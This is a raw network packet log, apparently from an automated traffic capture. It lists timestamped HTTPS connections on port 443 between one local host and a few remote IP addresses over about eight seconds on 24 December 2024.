Dec 24, 2024 15:06:35.583844900 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:35.762444973 CET	443	49752	104.21.91.204	192.168.2.4
Dec 24, 2024 15:06:35.762531042 CET	443	49752	104.21.91.204	192.168.2.4
Dec 24, 2024 15:06:35.762635946 CET	49752	443	192.168.2.4	104.21.91.204
Dec 24, 2024 15:06:35.763751030 CET	49752	443	192.168.2.4	104.21.91.204
Dec 24, 2024 15:06:35.763772011 CET	443	49752	104.21.91.204	192.168.2.4
Dec 24, 2024 15:06:36.187824965 CET	443	49768	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:36.188144922 CET	49768	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:36.188174009 CET	443	49768	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:36.188653946 CET	443	49768	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:36.188976049 CET	49768	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:36.189064026 CET	443	49768	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:36.189115047 CET	49768	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:36.231374979 CET	443	49768	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:36.234045029 CET	49768	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:36.632272959 CET	443	49768	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:36.632366896 CET	443	49768	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:36.632545948 CET	49768	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:36.633594036 CET	49768	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:36.633620977 CET	443	49768	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:36.633960009 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:36.634987116 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:36.635020971 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:36.635377884 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:36.635818958 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:36.635881901 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:36.635983944 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:36.679347038 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:36.795085907 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:36.810174942 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:36.810240984 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:36.810801983 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:36.811225891 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:36.811300039 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:36.811398983 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:36.811438084 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:36.811480045 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.077292919 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.077617884 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.077646971 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.077670097 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.077694893 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.077744961 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.077754021 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.077780962 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.077826977 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.077835083 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.086149931 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.086201906 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.086210012 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.102782965 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.102838039 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.102845907 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.151663065 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.197068930 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.248888016 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.248908997 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.274457932 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.274508953 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.274518013 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.274530888 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.274571896 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.282521963 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.290762901 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.290815115 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.290824890 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.292135000 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.292188883 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.292231083 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.292237043 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.292257071 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.292268991 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.292294979 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.298491001 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.298546076 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.298553944 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.300455093 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.300499916 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.300508022 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.300535917 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.300580025 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.306577921 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.306638002 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.306646109 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.308842897 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.314538956 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.314593077 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.314605951 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.317290068 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.317337990 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.317368984 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.322613955 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.322665930 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.322674036 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.330585003 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.330637932 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.330656052 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.345053911 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.345094919 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.345128059 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.345141888 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.345185995 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.351432085 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.357836008 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.357893944 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.357903004 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.373370886 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.405591965 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.412415981 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.453866005 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.453895092 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.463155985 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.466252089 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.466320038 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.466335058 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.472629070 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.472678900 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.472687006 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.479115963 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.479171991 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.479181051 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.488410950 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.488502026 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.488501072 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.488565922 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.488663912 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.492126942 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.492187023 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.492193937 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.492244005 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.496822119 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.504998922 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.505011082 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.505068064 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.505100012 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.505117893 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.505156040 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.505156994 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.505181074 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.505206108 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.505254030 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.513619900 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.518042088 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.518055916 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.518127918 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.522090912 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.522166014 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.522214890 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.529416084 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.529423952 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.529501915 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.530486107 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.530553102 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.530570984 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.534907103 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.534966946 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.538788080 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.538841963 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.538857937 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.545140028 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.545207024 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.547149897 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.547204018 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.547219992 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.555459023 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.555526018 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.561770916 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.561850071 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.561866045 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.568146944 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.568217993 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.568233013 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.574426889 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.574496984 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.574511051 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.580748081 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.580806971 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.580821037 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.625653028 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.625675917 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.655216932 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.655308008 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.661971092 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.662050962 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.667114019 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.667185068 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.673074961 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.675519943 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.675595999 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.675982952 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.677653074 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.677720070 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.677763939 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.684134007 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.684211016 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.691966057 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.691978931 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.692075968 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.692116976 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.692298889 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.692358971 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.696201086 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.696280003 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.696289062 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.696340084 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.696389914 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.696408987 CET	443	49769	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.696439028 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.696463108 CET	49769	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.696626902 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.696680069 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.696691990 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.696748972 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.701224089 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.709965944 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.710056067 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.710097075 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.710163116 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.714169979 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.714178085 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.714240074 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.722347021 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.722353935 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.722412109 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.730432034 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.730441093 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.730514050 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.738662004 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.738671064 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.738740921 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.742824078 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.742888927 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.751089096 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.751167059 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.755162954 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.755234003 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.763365030 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.763448000 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.771493912 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.771559000 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.777780056 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.777842999 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.868496895 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.868577003 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.870008945 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.870081902 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.877794981 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.877897024 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.882302046 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.882379055 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.885880947 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.885955095 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.891370058 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.891455889 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.896414042 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.896485090 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.899220943 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.899283886 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.904625893 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.904695988 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.909037113 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.909107924 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.909137011 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.909167051 CET	443	49770	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:37.909210920 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.909245014 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.909245014 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.909286976 CET	49770	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:37.912750006 CET	49771	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.912801027 CET	443	49771	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:37.912872076 CET	49771	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.913125992 CET	49771	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:37.913144112 CET	443	49771	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:38.255419016 CET	49772	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:38.255480051 CET	443	49772	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:38.255573034 CET	49772	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:38.255872965 CET	49772	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:38.255893946 CET	443	49772	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:39.127219915 CET	443	49771	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:39.127675056 CET	49771	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:39.127707958 CET	443	49771	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:39.128170013 CET	443	49771	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:39.128479004 CET	49771	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:39.128560066 CET	443	49771	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:39.128637075 CET	49771	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:39.175339937 CET	443	49771	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:39.472943068 CET	443	49772	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:39.473512888 CET	49772	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:39.473579884 CET	443	49772	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:39.474809885 CET	443	49772	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:39.475151062 CET	49772	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:39.475328922 CET	49772	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:39.475342989 CET	443	49772	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:39.475372076 CET	443	49772	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:39.515624046 CET	49772	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:39.571960926 CET	443	49771	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:39.572058916 CET	443	49771	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:39.572343111 CET	49771	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:39.575133085 CET	49771	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:39.575153112 CET	443	49771	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:39.918016911 CET	443	49772	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:39.918117046 CET	443	49772	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:39.918209076 CET	49772	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:39.919104099 CET	49772	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:39.919151068 CET	443	49772	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:39.923907995 CET	49773	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:39.924009085 CET	443	49773	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:39.924110889 CET	49773	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:39.924446106 CET	49773	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:39.924479008 CET	443	49773	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:41.131006002 CET	49774	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:41.131119013 CET	443	49774	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:41.131220102 CET	49774	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:41.131539106 CET	49774	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:41.131561995 CET	443	49774	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:41.141588926 CET	443	49773	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:41.141979933 CET	49773	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:41.142007113 CET	443	49773	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:41.143094063 CET	443	49773	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:41.143573046 CET	49773	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:41.143748045 CET	443	49773	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:41.143749952 CET	49773	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:41.187344074 CET	443	49773	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:41.194160938 CET	49773	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:41.602868080 CET	443	49773	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:41.603043079 CET	443	49773	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:41.603144884 CET	49773	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:41.613307953 CET	49773	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:41.613369942 CET	443	49773	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:42.349771023 CET	443	49774	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:42.350147009 CET	49774	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:42.350183964 CET	443	49774	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:42.351360083 CET	443	49774	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:42.352056980 CET	49774	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:42.352237940 CET	443	49774	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:42.352263927 CET	49774	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:42.399322033 CET	443	49774	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:42.404011011 CET	49774	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:42.796978951 CET	443	49774	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:42.797194004 CET	443	49774	104.18.94.41	192.168.2.4
